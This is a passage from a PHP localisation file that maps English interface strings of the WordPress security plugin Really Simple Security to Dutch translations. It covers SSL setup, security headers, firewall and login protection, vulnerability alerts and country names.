dashboard'=>'Really Simple Security dashboard','Really Simple Security detected an SSL certificate, but has not been configured to enforce SSL.'=>'Really Simple Security detecteerde een SSL certificaat, maar is nog niet geconfigureerd om SSL te forceren.','Really Simple Security has received no response from the webpage.'=>'Really Simple Security kreeg geen reactie van de webpagina.','Really Simple Security is installed, but no valid SSL certificate is detected.'=>'Really Simple Security is geïnstalleerd, maar er is geen geldig SSL certificaat gedetecteerd.','Really Simple Security will scan for insecure file and folder permissions on a weekly basis. You will receive an email report and Dashboard notice if insecure permissions are found.'=>'Really Simple Security scant wekelijks op onveilige bestands- en mapmachtigingen. Je ontvangt een e-mailrapport en een melding op het Dashboard als er onveilige machtigingen worden gevonden.','Really Simple Security will send email notifications and security warnings from your server. We will send a test email to confirm that email is correctly configured on your site. Look for the confirmation button in the email.'=>'Really Simple Security verstuurt e-mailmeldingen en beveiligingswaarschuwingen vanaf je server. We sturen een testmail om te verifiëren dat e-mail correct is geconfigureerd op je site. Kijk voor de bevestigingsknop in de e-mail.','Receive a code by email'=>'Ontvang een code per e-mail','Recommended by Really Simple Plugins'=>'Aanbevolen door Really Simple Plugins','Recommended security headers enabled.'=>'Aanbevolen beveiliging headers geïnstalleerd.','Record not found.'=>'Record niet gevonden.','Records deleted successfully.'=>'Records succesvol verwijderd.','Redirect method'=>'Redirect methode','Redirection'=>'Omleiding','Redirects your site to https with a SEO friendly 301 redirect if it is requested over http.'=>'Leidt uw site om naar https met een SEO-vriendelijke 301 verwijzing wanneer deze wordt opgevraagd over http.','Regions'=>'Regio\'s','Remove from public location with Really Simple Security'=>'Verwijder van de publiek toegankelijke locatie met Really Simple Security','Rename admin user enabled: Please choose a new username of at least 3 characters, which is not in use yet.'=>'Hernoemen beheer gebruiker ingeschakeld: kies een nieuwe gebruikersnaam van minstens 3 karakters, die nog niet in gebruik is.','Rename and randomize your database prefix'=>'Hernoem je database prefix naar een willekeurige waarde','Renew certificate'=>'Certificaat vernieuwen','Renew installation'=>'Installatie vernieuwen','Resend Code'=>'Code opnieuw verzenden','Reset Key'=>'Reset sleutel','Restore files'=>'Herstel bestanden','Restrict access from specific countries or continents. You can also allow only specific countries.'=>'Beperk de toegang vanuit specifieke landen of continenten. Je kunt ook alleen bepaalde landen toestaan.','Restrict access to your site based on user location. By default, all regions are allowed. You can also block entire continents.'=>'Beperk de toegang tot je site op basis van de locatie van de gebruiker. Standaard zijn alle regio\'s toegestaan. Je kunt ook gehele continenten blokkeren.','Restrict creation of administrator roles'=>'Beperk het aanmaken van beheerdersrollen','Retrieving Cloudways server data...'=>'Cloudways servergegevens ontvangen...','Retrieving DNS verification token...'=>'DNS verificatietoken ontvangen...','Retrieving package information...'=>'Pakketinformatie ophalen...','Retry'=>'Opnieuw proberen','Reunion'=>'Reunion','Review the detected configuration in \'Content Security Policy\'.'=>'Check de voorgestelde configuratie voor \'Content Security Policy\'.','Risk'=>'Risico','Roll back changes made to your files'=>'Gemaakte veranderingen in bestanden terugdraaien','Roll back file changes'=>'Herstel bestanden','Romania'=>'Roemenië','Rules'=>'Regels','Russian Federation'=>'Rusland','Rwanda'=>'Rwanda','SSL Status Test'=>'SSL status test','SSL activation in progress'=>'SSL activatie bezig','SSL certificate should be generated and installed.'=>'Het SSL certificaat zou gegenereerd en installeerd moeten zijn.','SSL certificate will expire on %s.'=>'SSL certificaat zal verlopen op %s.','SSL is enabled networkwide.'=>'SSL is voor het hele netwerk ingeschakeld.','SSL is enabled on your site.'=>'SSL is ingeschakeld op de site.','SSL is not enabled on your network'=>'SSL is niet geactiveerd op je netwerk','SSL is not enabled yet.'=>'SSL is nog niet ingeschakeld.','SSL is not enabled.'=>'SSL is niet ingeschakeld.','SSL is not yet enabled on this site.'=>'SSL is nog niet ingeschakeld op deze site.','SSL is now activated. Follow the three steps in this article to check if your website is secure.'=>'SSL is nu geactiveerd. Volg de drie stappen in dit artikel om te controleren of je site veilig is.','SSL successfully installed on %s'=>'SSL certificaat succesvol geïnstalleerd op %s','Saint Barthelemy'=>'Sint Barthelemy','Saint Helena'=>'Sint Helena','Saint Kitts and Nevis'=>'Saint Kitts en Nevis','Saint Lucia'=>'SInt Lucia','Saint Martin'=>'Sint Martin','Saint Pierre and Miquelon'=>'Saint-Pierre en Miquelon','Saint Vincent and the Grenadines'=>'Saint Vincent en de Grenadines','Samoa'=>'Samoa','San Marino'=>'San Marino','Sao Tome and Principe'=>'Sao Tomé en Principe','Saudi Arabia'=>'Saoedi-Arabië','Save and continue'=>'Opslaan en doorgaan','Scan results'=>'Scan resultaten','Searching for js and css files and links to external resources in website, %d of %d'=>'Zoeken naar JS en CSS bestanden en links naar externe bestanden in de website, %d van %d','Searching for link to SSL installation page on your server...'=>'Zoeken naar een link naar de SSL installatiepagina op je server...','Searching for mixed content in css and js files, %s of %s'=>'Zoeken naar mixed content in CSS en JS bestanden, %s van %s','Secret key is configured and registered. It is not possible to view it again for security reasons.'=>'De geheime sleutel is geconfigureerd en geregistreerd. Om veiligheidsredenen is het niet mogelijk om deze opnieuw te bekijken.','Secure your site with the performant Firewall.'=>'Beveilig je site met de krachtige Firewall.','Security'=>'Beveiliging','Security Headers'=>'Security Headers','Security Headers Test'=>'Security headers test','Security configuration completed!'=>'Beveiligingsconfiguratie voltooid!','Security configuration not completed yet. You still have %s task open.'=>'Beveiligingsconfiguratie nog niet voltooid. Je hebt nog %s open taak.' . "\0" . 'Je hebt nog %s open taken.','Security through obscurity. Your site is no longer using the default wp_ prefix for database tables. The process has been designed to only complete and replace the tables after all wp_ tables are successfully renamed. In the unlikely event that this does lead to database issues on your site, please navigate to our troubleshooting article.'=>'Je site zal niet langer de standaard wp_ prefix gebruiken voor database tabellen. Het proces is ontworpen om alleen de tabellen te vervangen nadat alle wp_ tabellen met succes zijn hernoemd. In het onwaarschijnlijke geval dat dit leidt tot database problemen op je site, navigeer dan naar ons artikel over het oplossen van problemen.','Security warning'=>'Veiligheidswaarschuwing','Security warning: changed files'=>'Beveiligingswaarschuwing: bestandswijzigingen','Security warning: insecure file permissions'=>'Beveiligingswaarschuwing: onveilige bestandsrechten','See which recommended security headers are not present on your website.'=>'Zie welke aanbevolen security headers niet aanwezig zijn op je site.','Selected provider'=>'Geselecteerde provider','Self (Default)'=>'Self (Standaard)','Self-hosted and privacy-friendly analytics tool.'=>'Zelf gehoste en privacyvriendelijke analysetool.','Send'=>'Verzenden','Send an email code during login. You can force user roles to use two-factor authentication, or leave the choose with your users, if so desired.'=>'Stuur een e-mailcode tijdens het inloggen. Je kunt gebruikersrollen dwingen om twee-factor authenticatie te gebruiken, of de keuze aan je gebruikers laten.','Senegal'=>'Senegal','Serbia'=>'Servië','Serbia and Montenegro'=>'Servië en Montenegro','Serve encrypted and authenticated responses'=>'Versleutelde en geauthenticeerde responses geven','Set permissions to 644 to enable SSL generation.'=>'Pas permissies aan naar 644 om SSL-generatie toe te staan.','Set your wp-config.php to writable and reload this page.'=>'Stel je wp-config.php in als schrijfbaar en herlaad deze pagina.','Settings'=>'Instellingen','Settings update: .htaccess redirect'=>'Instellingen update: .htaccess redirect','Settings update: Database prefix changed'=>'Instellingen update: Database prefix gewijzigd','Settings update: Debug.log file relocated'=>'Instellingen update: Debug.log bestand verplaatst','Settings update: Username \'admin\' renamed'=>'Instellingen update: Gebruikersnaam ‘admin’ hernoemd','Several automatic updates for components have been scheduled due to the discovery of vulnerabilities on %s.'=>'Er zijn verschillende automatische updates voor componenten gepland vanwege de ontdekking van kwetsbaarheden op %s.','Several automatic updates for vulnerable components, scheduled on %s, have been successful.'=>'Verschillende automatische updates voor kwetsbare componenten, gepland op %s, zijn succesvol uitgevoerd.','Several automatic updates for vulnerable components, scheduled on %s, have failed.'=>'Verschillende automatische updates voor kwetsbare componenten, gepland op %s, zijn mislukt.','Several vulnerable components quarantined on %s.'=>'Verschillende kwetsbare onderdelen in quarantaine geplaatst op %s.','Several vulnerable components scheduled for update on %s, have failed.'=>'Verschillende kwetsbare componenten die gepland stonden voor update op %s, zijn mislukt.','Seychelles'=>'Seychellen','Sierra Leone'=>'Sierra Leone','Simple and performant security'=>'Eenvoudige en efficiënte beveiliging','Singapore'=>'Singapore','Site wide - Test Notification'=>'Sitebreed - test notificatie','Site-wide, admin notification'=>'Sitebreed, beheer melding','Skip'=>'Overslaan','Skip (%1$d %2$s remaining)'=>'Overslaan (%1$d %2$s resterend)','Skip (Only today remaining)'=>'Overslaan (Alleen vandaag nog)','Slovakia'=>'Slowakije','Slovenia'=>'Slovenië','Solomon Islands'=>'Solomon eilanden','Somalia'=>'Somalia','Some %1s were added to %2s, missing %1s are %3s'=>'Sommige %1s zijn toegevoegd aan %2s, ontbrekende %1s zijn %3s','Some files on your server have been changed outside the normal update procedure. You can %sdownload%s the affected files list to verify the files.'=>'Sommige bestanden op je server zijn gewijzigd buiten de normale updateprocedure om. Je kunt de lijst met gewijzigde bestanden %sdownloaden%s om deze te controleren.','Something went wrong'=>'Er ging iets mis','Something went wrong. If this doesn\'t work, you can put the original files back by changing files named \'rsssl-bkp-filename\' to filename.'=>'Er is iets fout gegaan. Als dit niet werkt kan je de orginele bestanden terugzetten door \'rsssl-bkp-filename\' the hernoemen naar filename.','Something went wrong. Please refresh the page and try again, or fix manually.'=>'Er is iets mis gegaan. Vernieuw de pagina en probeer het opnieuw, of fix handmatig.','Source'=>'Bron','South Africa'=>'Zuid Afrika','South America'=>'Zuid-Amerika','South Georgia and the South Sandwich Islands'=>'Zuid-Georgië en de Zuidelijke Sandwicheilanden','South Sudan'=>'Zuid-Soedan','Spain'=>'Spanje','Sri Lanka'=>'Sri Lanka','St Martin'=>'Sint Maarten','Start login protection by adding an additional layer during authentication. This will leave authentication less dependent on just a single password. Want to force strong passwords? Check out Password Security.'=>'Begin met inlogbeveiliging door een extra laag toe te voegen tijdens de authenticatie. Hierdoor is authenticatie minder afhankelijk van slechts één wachtwoord. Wil je sterke wachtwoorden afdwingen? Bekijk Wachtwoordbeveiliging.','Status'=>'Status','Stop editing the .htaccess file'=>'Stop met het bewerken van het htaccess-bestand','Store for renewal purposes. If not stored, renewal may need to be done manually.'=>'Sla op om automatisch te verlengen. Indien niet opgeslagen, dien je waarschijnlijk handmatig te verlengen.','Strict - 10 errors in 10 seconds'=>'Strikt - 10 errors in 10 seconden','Strong Password policy'=>'Sterk wachtwoordbeleid','Submit'=>'Versturen','Success'=>'Succes','Successfully added TXT record.'=>'TXT record succesvol toegevoegd.','Successfully generated certificate.'=>'Certificaat succesvol gegenereerd.','Successfully installed Let\'s Encrypt'=>'Let\'s Encrypt succesvol geïnstalleerd','Successfully installed SSL'=>'SSL succesvol geïnstalleerd','Successfully retrieved account'=>'Account succesvol opgehaald.','Successfully retrieved server id and app id'=>'Server ID en App ID succesvol opgehaald','Successfully verified DNS records'=>'DNS records succesvol geverifieerd. ','Successfully verified alias domain.'=>'Alias domein succesvol geverifieerd. ','Sudan'=>'Soedan','Support'=>'Ondersteuning','Suriname'=>'Suriname','Suspicious admin account detected'=>'Verdacht beheerder account gedetecteerd','Svalbard and Jan Mayen'=>'Spitsbergen en Jan Mayen','Swaziland'=>'Swaziland','Sweden'=>'Zweden','Switzerland'=>'Zwitserland','Syrian Arab Republic'=>'Syrië','System'=>'Systeem','System status'=>'Systeem status','TLS version'=>'TLS versie','TOTP requires users to authenticate using a third-party app such as Google Authenticator.'=>'TOTP vereist dat gebruikers zich authenticeren met een app van derden, zoals Google Authenticator.','Taiwan, Province of China'=>'Taiwan, provincie China','Tajikistan'=>'Tajikistan','Tanzania, United Republic of'=>'Tanzania, Verenigde Republiek','Temporary'=>'Tijdelijk','Temporary block'=>'Tijdelijk geblokkeerd','Terms & Conditions'=>'Voorwaarden.','Terms & Conditions are accepted.'=>'Algemene voorwaarden zijn geaccepteerd.','Terms and Conditions'=>'Algemene Voorwaarden','Test not found.'=>'Test niet gevonden.','Test notification email error'=>'Fout bij testmelding per e-mail','Test notifications'=>'Test notificaties','Test notifications can be used to test email delivery and shows how vulnerabilities will be reported on your WordPress installation.'=>'Test notificaties kunnen worden gebruikt om het correct afleveren van e-mails te testen en laat zien hoe kwetsbaarheden op je WordPress-installatie worden gerapporteerd.','Thailand'=>'Thailand','The %s security header is not set by Really Simple Security, but has a non-recommended value: "%s".'=>'De %s security header is niet ingesteld door Really Simple Security, maar heeft een niet-aanbevolen waarde: "%s".','The \'force-deactivate.php\' file has to be renamed to .txt. Otherwise your ssl can be deactivated by anyone on the internet.'=>'Het \'force-deactivate.php\' bestand moet hernoemd worden naar .txt. Anders kan je ssl gedeactiveerd worden door iedereen op het internet.','The .htaccess redirect has been enabled on your site. If the server configuration is non-standard, this might cause issues. Please check if all pages on your site are functioning properly.'=>'De .htaccess redirect is ingeschakeld op je site. Als de serverconfiguratie niet standaard is, kan dit problemen veroorzaken. Controleer of alle pagina’s op je site goed functioneren.','The .htaccess redirect rules selected by this plugin failed in the test. Set manually or dismiss to leave on PHP redirect.'=>'De .htaccess redirect regels die door de plugin zijn geselecteerd zijn niet door de test gekomen. Stel handmatig in of laat de PHP redirect ingeschakeld.','The 301 .htaccess redirect is the fastest and most reliable redirect option.'=>'De 301 .htaccess redirect is vaak de snelste en meest betrouwbare optie.','The 301 redirect with .htaccess to HTTPS is now enabled.'=>'De 301-redirect naar HTTPS is nu ingeschakeld via .htaccess.','The DISALLOW_FILE_EDIT constant is defined and set to false. You can remove it from your wp-config.php.'=>'De constante DISALLOW_FILE_EDIT is gedefinieerd en ingesteld op false. Je kunt deze verwijderen uit je wp-config.php.','The DNS response for %s was %s, while it should be %s.'=>'De DNS respons voor %s was %s, terwijl het %s zou moeten zijn.','The Essentials'=>'De hoofdzaken','The Event Log shows all relevant events related to limit login attempts. You can filter the log using the dropdown on the top-right to only show warnings.'=>'Het Event log toont alle relevante gebeurtenissen met betrekking tot het beperken van inlogpogingen. Je kunt het logboek filteren met de dropdown rechtsboven om alleen waarschuwingen weer te geven.','The Event Log shows all relevant events related to the Firewall and IP lockouts. You can filter the log using the dropdown on the top-right to only show warnings.'=>'De Event log toont alle relevante gebeurtenissen met betrekking tot de Firewall en IP-blokkeringen. Je kunt de log filteren met de dropdown rechtsboven om alleen waarschuwingen weer te geven.','The Hosting Panel software was not recognized. Depending on your hosting provider, the generated certificate may need to be installed manually.'=>'De Webhosting Dashboard software werd niet herkend. Afhankelijk van je hosting provider, kan het nodig zijn het gegenereerde certificaat handmatig te installeren.','The IP address will see a locked out screen for the selected duration.'=>'Het IP-adres krijgt een lockout scherm te zien voor de geselecteerde duur.','The PHP function CURL has successfully been detected.'=>'De PHP-functie cURL is succesvol gedetecteerd.','The PHP function CURL is not available on your server, which is required. Please contact your hosting provider.'=>'De PHP functie cURL is niet beschikbaar op je server, wat vereist is. Neem contact op met je hostingprovider.','The SSL certificate has been renewed, and requires manual %sinstallation%s in your hosting dashboard.'=>'Het SSL certificaat is vernieuwd, en vereist handmatige %sinstallatie%s in je hosting dashboard.','The Terms & Conditions were not accepted. Please accept in the general settings.'=>'De algemene voorwaarden zijn niet geaccepteerd. Accepteer ze onder algemene instellingen.','The Two-Factor Authentication setup for TOTP failed. Please try again.'=>'Het instellen van Tweefactorauthenticatie via TOTP is mislukt. Probeer het opnieuw.','The Two-Factor Authentication setup for email failed. Please try again.'=>'Het instellen van Tweefactorauthenticatie via e-mail is mislukt. Probeer het opnieuw.','The URL you use to access your DirectAdmin dashboard. Ends on :2222.'=>'De URL die je gebruikt om in te loggen op je DirectAdmin dashboard. Deze eindigt op: 2222.','The URL you use to access your Plesk dashboard. Ends on :8443.'=>'De URL die je gebruikt om in te loggen op je Plesk Dashboard. Deze eindigt op :8443.','The URL you use to access your cPanel dashboard. Ends on :2083.'=>'De URL die je gebruikt om in te loggen op je cPanel. Deze eindigt op :2083.','The authentication code is not valid.'=>'De verificatiecode is ongeldig.','The automatic installation of your certificate has failed. Please check your credentials, and retry the %sinstallation%s.'=>'De automatische installatie van je certificaat is mislukt. Controleer je gegevens en probeer de %sinstallatie%s opnieuw.','The certificate generation was rate limited for 5 minutes because the authorization failed.'=>'Het aanmaken van het certificaat is 5 minuten lang beperkt omdat de autorisatie mislukte.','The certificate installation was rate limited. Please try again later.'=>'Het aanmaken van het certificaat is tijdelijk beperkt. Probeer het later weer.','The certs directory is not created yet.'=>'De certs map is nog niet aangemaakt.','The certs directory was successfully created.'=>'De certs map is succesvol aangemaakt.','The challenge directory is not created yet.'=>'De challenge map is nog niet aangemaakt.','The challenge directory was successfully created.'=>'De challenge map is succesvol aangemaakt.','The code to block code execution in the uploads folder cannot be added automatically on nginx. Add the following code to your nginx.conf file:'=>'De code die voorkomt dat er code kan worden uitgevoerd in de uploads map kan bij NGINX niet automatisch worden toegevoegd. Voeg de volgende code toe aan je nginx.conf bestand:','The content security policy has many options, so we always recommend starting in ‘learning mode’ to see what files and scripts are loaded.'=>'De Content Security Policy kent vele opties, daarom raden we altijd aan om de configuratie te beginnen door \'zelflerende modus\' aan te zetten om te zien welke bestanden en scripts worden geladen.','The daily scan will report any detected file changes in the table below.'=>'De dagelijkse scan rapporteert alle gedetecteerde bestandswijzigingen in de onderstaande tabel.','The email address was not set. Please set the email address'=>'Het e-mailadres is niet ingesteld. Stel alstublieft het e-mailadres in','The essential security headers are detected on your site.'=>'De essentiële security headers zijn gevonden op je site.','The extensive mixed content scan will list all issues and provide a fix, or instructions to fix manually.'=>'De uitgebreide mixed content scan zal problemen opsommen en een oplossing of instructie verzorgen om eventuele problemen op te lossen.','The file could not be downloaded. It might not exist, or downloading is blocked. Fix manually.'=>'Het bestand kon niet gedownload worden. Het bestaat misschien niet of downloaden is geblokkeerd. Repareer handmatig.','The file could not be downloaded. The file might not exist, or downloading is be blocked by the server. Fix manually.'=>'Het bestand kon niet gedownload worden. Het bestand bestaat misschien niet of downloaden wordt geblokkeerd door de server. Repareer handmatig.','The following directories do not have the necessary writing permissions.'=>'De volgende mappen hebben niet de benodigde schrijfrechten.','The following essential security headers have not been set: %s'=>'De volgende essentiële security headers zijn niet ingesteld: %s','The following information is attached when you send this form: license key, scan results, your domain, .htaccess file, debug log and a list of active plugins.'=>'De volgende informatie wordt mee verzonden wanneer je dit formulier verstuurd: licentiesleutel, scan resultaten, je domein, .htaccess bestand, debug log en een lijst van actieve plugins.','The key directory is not created yet.'=>'De key map is nog niet aangemaakt.','The key directory was successfully created.'=>'De key map is succesvol aangemaakt.','The key is not valid.'=>'De code is ongeldig.','The last scan was completed with errors. Are you sure these issues don\'t impact your site?'=>'De laatste scan is voltooid met foutmeldingen. Weet je zeker dat deze problemen geen effect hebben op je site?','The last scan was completed with errors. Only migrate if you are sure the found errors are not a problem for your site.'=>'De laatste scan is voltooid met foutmeldingen. Migreer alleen als je zeker weet dat de gevonden fouten geen problemen geven op je site','The license information could not be retrieved at this moment. Please try again at a later time.'=>'De licentie-informatie kon op dit moment niet worden opgehaald. Probeert het alsjeblieft later nog een keer.','The lightweight Firewall can be used to lockout malicious traffic from your site. You can configure generic rules below, or block specific IP addresses by adding them to the Blocklist.'=>'De lichtgewicht Firewall kan worden gebruikt om malafide requests naar je site te blokkeren. Je kunt hieronder algemene regels configureren of specifieke IP adressen blokkeren door ze toe te voegen aan de Blocklist.','The mixed content fixer could not be detected due to a cURL error: %s. cURL errors are often caused by an outdated version of PHP or cURL and don\'t affect the front-end of your site. Contact your hosting provider for a fix.'=>'De mixed content fixer kon niet worden gedetecteerd ten gevolge van een cURL fout: %s. cURL fouten worden vaak veroorzaakt door een verouderde PHP of cURL versie en hebben geen invloed op de voorkant van je site. Neem contact op met de hostingprovider om dit op te lossen.','The mixed content fixer is active, but was not detected on the frontpage.'=>'De mixed content fixer is geactiveerd, maar niet gedetecteerd op de home pagina.','The non-www version of your site does not point to this website. This is recommended, as it will allow you to add it to the certificate as well.'=>'De niet-www versie van je site verwijst niet naar deze website. Dit is aan te bevelen, omdat je het dan ook aan het certificaat kunt toevoegen.','The onboarding wizard will help to configure essential security features in 1 minute! Select your hosting provider to start.'=>'De onboarding wizard helpt je om essentiële beveiligingsfuncties in 1 minuut te configureren! Selecteer je hostingprovider om te beginnen.','The order is invalid, possibly due to too many failed authorization attempts. Please start at the previous step.'=>'De volgorde is ongeldig, mogelijk door te veel mislukte autorisatiepogingen. Begin bij de vorige stap.','The preferred method is not set.'=>'Geen voorkeursmethode ingesteld.','The recurring scan detected files that were changed outside plugin, theme or WordPress updates:'=>'De terugkerende scan detecteerde bestanden die buiten plugin-, thema- of WordPress-updates om zijn gewijzigd:','The recurring scan detected insecure file permissions being used for certain files or folders. Navigate to the Really Simple Security dashboard to resolve the issue.'=>'De periodieke scan heeft gedetecteerd dat er onveilige bestandsrechten worden gebruikt voor bepaalde bestanden of mappen. Navigeer naar het Really Simple Security dashboard om het probleem op te lossen.','The required directories have the necessary writing permissions.'=>'De vereiste mappen hebben de benodigde schrijfrechten.','The selected provider is not valid.'=>'De geselecteerde provider is niet geldig.','The settings below determine how strict your site will be protected. You can leave these settings on their default values, unless you experience issues.'=>'De onderstaande instellingen bepalen hoe streng je site wordt beschermd. Je kunt deze instellingen op de standaardwaarden laten staan, tenzij je problemen ondervindt.','The snapshots will be updated after WordPress, plugins or themes are activated or updated.'=>'De snapshots worden bijgewerkt nadat WordPress, plugins of thema\'s zijn geactiveerd of bijgewerkt.','The system is not ready for the DNS verification yet. Please run the wizard again.'=>'Het systeem is nog niet klaar voor de DNS-verificatie. Doorloop de wizard alsjeblieft opnieuw.','The system is not ready for the installation yet. Please run the wizard again.'=>'Het systeem is nog niet klaar voor installatie. Doorloop de wizard alsjeblieft opnieuw.','The used domain for your email address is not allowed.'=>'Het gebruikte domein van je e-mailadres is niet toegestaan.','The user ID is not valid.'=>'De gebruikers-ID is niet geldig.','The user and IP address will be temporarily unable to login for the specified duration. You can block IP addresses indefinitely via the IP addresses block.'=>'De gebruiker en het IP-adres kunnen tijdelijk niet inloggen voor de opgegeven duur. Je kunt IP-adressen voor onbepaalde tijd blokkeren via de IP-adressen blokkeren.','The user object is not valid.'=>'Het gebruikersobject is niet geldig.','The value, WP_DEBUG_DISPLAY, has either been enabled by WP_DEBUG or added to your configuration file. This will make errors display on the front end of your site.'=>'De waarden, WP_DEBUG_DISPLAY, is ingeschakeld door WP_DEBUG of aan je configuratiebestand toegevoegd. Dit zal fouten weergeven aan de front-end van je website.','The value, WP_DEBUG_LOG, has been added to this website’s configuration file. This means any errors on the site will be written to a file which is potentially available to all users.'=>'De waarde WP_DEBUG_LOG is toegevoegd aan het configuratiebestand van deze website. Dit betekent dat alle fouten op de site worden weggeschreven naar een bestand dat mogelijk beschikbaar is voor alle gebruikers.','The wp-config.php file is not writable, and needs to be edited. Please set this file to writable.'=>'Het wp-config.php bestand is niet beschrijfbaar, en moet bewerkt worden. Zet dit bestand op schrijfbaar.','The www version of your site does not point to this website. This is recommended, as it will allow you to add it to the certificate as well.'=>'De www versie van je site verwijst niet naar deze site. Dit is aan te bevelen, omdat je het dan ook aan het certificaat kunt toevoegen.','There are existing keys, the order had to be cleared first.'=>'Er zijn bestaande sleutels, de order moest eerst worden verwijderd.','There have been too many failed two-factor authentication attempts, which often indicates that the password has been compromised. The password has been reset in order to protect the account.'=>'Er zijn te veel mislukte twee-factor authenticatiepogingen geweest, wat er vaak op wijst dat het wachtwoord gecompromitteerd is. Het wachtwoord is opnieuw ingesteld om het account te beschermen.','There was a problem editing the file. Please try manually.'=>'Er is een probleem met het bewerken van het bestand. Probeer het handmatig.','These files were changed outside a normal plugin, theme or WordPress update. If you have changed them through FTP, or manually, you can ignore this. If you\'re not sure, please check with your hosting provider for help.'=>'Deze bestanden zijn gewijzigd buiten een normale plugin, thema of WordPress update om. Als je ze via FTP of handmatig hebt gewijzigd, kun je dit negeren. Als je het niet zeker weet, neem dan contact op met je hostingprovider voor hulp.','These notifications are set to the minimum risk level that triggers a notification. For example, the default site-wide notification triggers on high-risk and critical vulnerabilities.'=>'Deze meldingen worden ingesteld op het minimum risiconiveau dat een melding triggert. De standaard melding voor de hele site wordt bijvoorbeeld geactiveerd bij kwetsbaarheden met een hoog risico en kritieke kwetsbaarheden.','These security headers are the fundamental security measures to protect your website visitors while visiting your website.'=>'Dit zijn de security headers die fundamenteel zijn om je website bezoekers te beschermen tijdens het bezoeken van je website.','They might be misused if you don’t actively tell the browser to disable these features.'=>'Deze kunnen potentieel misbruikt worden indien je browsers niet proactief instrueert om de functies uit te schakelen.','This adds extra requirements for strong passwords for new users and updated passwords.'=>'Dit voegt extra eisen toe voor sterke wachtwoorden voor nieuwe gebruikers en bijgewerkte wachtwoorden.','This appears to be an invalid license key for this plugin.'=>'Dit lijkt een ongeldige licentiesleutel te zijn voor deze plugin.','This domain is not activated for this Really Simple Security Pro license. Please activate the license for this domain.'=>'Dit domein is niet geactiveerd voor deze Really Simple Security Pro licentie. Activeer alsjeblieft de licentie voor dit domein','This downloads the file from the domain without SSL, inserts it into WP media, and changes the URL to the new URL.'=>'Dit downloadt het bestand van het domein zonder SSL, slaat het op in WP Media en verandert de URL naar de nieuwe URL.','This email address is used to create a Let\'s Encrypt account. This is also where you will receive renewal notifications.'=>'Dit e-mailadres wordt gebruikt om een Let\'s Encrypt account aan te maken. Dit is ook waar je verlenging meldingen zult ontvangen.','This email is confirmation that any security notices are likely to reach your inbox.'=>'Deze e-mail is een bevestiging dat eventuele beveiligingsberichten uw inbox zullen bereiken.','This email is part of the Really Simple Security Notification System'=>'Deze e-mail maakt deel uit van het Really Simple Security melding systeem','This email was sent to'=>'Deze e-mail is verzonden naar','This feature allows you to block visitors from your website based on country'=>'Met deze functie kun je bezoekers van je website blokkeren op basis van land','This feature depends on multiple standard background processes. If a process fails or is unavailable on your system, detection might not work. We run frequent tests for this purpose. We will notify you accordingly if there are any issues.'=>'Deze functie is afhankelijk van meerdere standaard achtergrondprocessen. Als een proces faalt of niet beschikbaar is op je systeem, werkt de detectie mogelijk niet. We voeren hiervoor regelmatig tests uit. We zullen je op de hoogte brengen als er problemen zijn.','This feature is not enabled.'=>'Deze functie is niet ingeschakeld.','This is a multisite configuration with subdomains. You should generate a wildcard certificate on the root domain.'=>'Dit is een multisite configuratie met sub domeinen. Je moet een wildcard certificaat genereren op het hoofd domein.','This is a security feature implemented by web browsers to control how web pages from different origins can interact with each other.'=>'Dit is een beveiligingsfunctie die is geïmplementeerd door webbrowsers om te controleren hoe webpagina\'s van verschillende oorsprong met elkaar kunnen communiceren.','This is a security warning from Really Simple Security for %s.'=>'Dit is een beveiligingswaarschuwing van Really Simple Security voor %s.','This is a test notification from Really Simple Security. You can safely dismiss this message.'=>'Dit is een test melding van Really Simple Security. Je kunt dit bericht veilig negeren.','This is a vulnerability alert from Really Simple Security for %s. '=>'Dit is een kwetsbaarheid waarschuwing van Really Simple Security voor %s. ','This is the end of the update cycle, we recommend manually removing %s.'=>'Dit is het einde van de updatecyclus, we raden aan om %s handmatig te verwijderen.','This is the end of the update cycle, we recommend manually removing vulnerable components.'=>'Dit is het einde van de updatecyclus, we raden aan om kwetsbare onderdelen handmatig te verwijderen.','This is the vulnerability overview. Here you will find current known vulnerabilities on your system. You can find more information and helpful, actionable insights for every vulnerability under details.'=>'Dit is het overzicht van de kwetsbaarheden. Hier vind je de momenteel bekende kwetsbaarheden op je systeem. Onder details vind je meer informatie en nuttige inzichten per kwetsbaarheid.','This leads to issues when activating SSL networkwide since subdomains will be forced over SSL as well while they don\'t have a valid certificate.'=>'Dit leidt tot problemen als je SSL netwerkbreed activeert, omdat subdomeinen ook tot SSL gedwongen zullen worden, terwijl ze geen geldig certificaat hebben.','This license is not valid for this product. Find out why on your %saccount%s.'=>'Deze licentie code is niet geldig voor dit product. Bekijk waarom via je %saccount%s.','This license is not valid. Find out why on your %saccount%s.'=>'Deze licentie is niet geldig. Bekijk waarom via je %saccount%s.','This list shows all individually blocked IP addresses. On top the top-right you can filter between permanent blocks and temporary blocks. By default, blocks are only temporary, as attackers and bots will frequently alter between IP addresses. However, you can manually configure permanent blocks.'=>'Deze lijst toont alle individueel geblokkeerde IP-adressen. Rechtsboven kun je filteren tussen permanente blokkades en tijdelijke blokkades. Standaard zijn de blokkades alleen tijdelijk, omdat aanvallers en bots vaak wisselen tussen IP-adressen. Je kunt echter handmatig permanente blokkades instellen.','This option is handled by the Content Security Policy/frame-ancestors setting.'=>'Deze optie wordt afgehandeld door de Content Security Policy/frame-ancestors instelling.','This setting will block attempts to assign administrator roles outside the native user creation process by WordPress. This might include other plugins that create, edit or assign roles to users. If you need to create an administrator in a third-party plugin, temporarily disable this setting while you make the changes.'=>'Deze instelling blokkeert pogingen om beheerdersrollen toe te wijzen buiten het eigen gebruikersaanmaakproces van WordPress om. Dit kunnen andere plugins zijn die gebruikers aanmaken, bewerken of rollen toewijzen. Als je een beheerder moet aanmaken in een plugin van een derde partij, schakel deze instelling dan tijdelijk uit terwijl je de wijzigingen uitvoert.','This site requires you to secure your account with a second authentication method.'=>'Deze site vereist beveiliging van je account met een tweede authenticatiemethode.','This website is unavailable in your region.'=>'Deze website is niet beschikbaar in jouw regio.','This will include both the www. and non-www. version of your domain.'=>'Dit bevat zowel het www. en niet-www versies van je domein.','This will limit or fully disable HTTP requests that are not needed, but could be used with malicious intent.'=>'Dit beperkt of schakelt HTTP aanvragen uit die niet nodig zijn, maar mogelijk met kwade bedoelingen kunnen worden gebruikt.','This will permanently change your database prefixes and you can NOT rollback this feature. Please make sure you have a back-up.'=>'Dit zal je database voorvoegsels permanent veranderen en je kunt deze functie NIET terugdraaien. Zorg ervoor dat je een back-up hebt.','This will put the files back that were changed by the fix option in Really Simple Security Pro.'=>'Dit zal de wijzigingen in bestanden herstellen die zijn veranderd door de \'repareer\' optie in Really Simple Security 